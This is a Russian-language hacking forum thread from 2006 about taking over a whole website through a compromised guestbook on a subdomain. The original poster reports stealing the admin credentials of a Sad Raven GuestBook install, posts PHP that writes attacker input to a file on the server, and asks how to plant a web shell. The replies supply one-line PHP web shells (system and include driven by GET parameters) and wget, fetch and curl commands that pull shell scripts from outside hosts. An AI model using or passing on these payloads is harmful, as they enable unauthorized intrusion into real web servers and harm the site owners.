Взломать весь сайт через отдельный поддомен

Discussion in 'PHP' started by Monah IRH, 31 Jan 2006.

  1. Monah IRH

    Monah IRH New Member

    Joined:
    17 Aug 2005
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Code:
    <?
    $open = fopen("/usr/local/psa/home/vhosts/sbmx.com.ru/subdomains/guest/httpdocs/script.php","w+");
    	fwrite ($open,$_GET['fp']."\\n");
    	fclose($open);
    ?>
    Взломал Sad Raven GuestBook.
    Получил пароль и логин админа.

    Есть такая уязвимость там, что в дизайне сайта могут содержаться php-скрипты. Информация с http://xop0k.h15.ru/adv/3.txt

    В общем пробовал загрузить туда маленький свой скриптик, который содержит форму загрузки файлов в себе.
    Передаю то, что надо записывать через GET переменную fp.

    Все бы было ок, да эта гостевуха экранирует слеши вот такие:
    Code:
    \
    Как следствие нельзя записать в текстовой файл переменные в таком виде:
    Code:
    fwrite($fp, "\$text=\$_GET['fp']");
    и это проблема. Не знаю как решить. Причем поставив один слеш при каждом сохранении они увеличиваются в геометрической прогрессии :))

    Вот думаю как ещё можно загрузить файлик со своего компа на сервер. Загрузить хочу шелл, чтобы получить доступ ко всему сайту, т.к. гостевуха нахзодится на отдельном домене guest.site.ru, а сайт находится на site.ru

    Абсолютные пути известны
     
  2. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    пишешь
    `wget http://kobeluga.narod.ru/rst.php`;
    и у тебя загрузиться шелл в папку с гуестой =)
    по идее не должны `` экранироваться
     
  3. grinay

    grinay IQ- 137%

    Joined:
    15 Jun 2004
    Messages:
    409
    Likes Received:
    174
    Reputations:
    305
    Если у тебя есть возможность создать файл тогда пиши <?php system($_GET[cmd]);?>
    или <?php include($_GET[open]);?>
    В первом случае у тебя уже шелл во втором ты его можеш проинклудить и после выполнить то что сказал киборг если же это фря в гета там может и не быть тогда
    fetch -o shell.php http://freeshell.ru/myshell.txt курл и гет
    curl -o shell.php http://freeshell.ru/myshell.txt
    get -o shell.php http://freeshell.ru/myshell.txt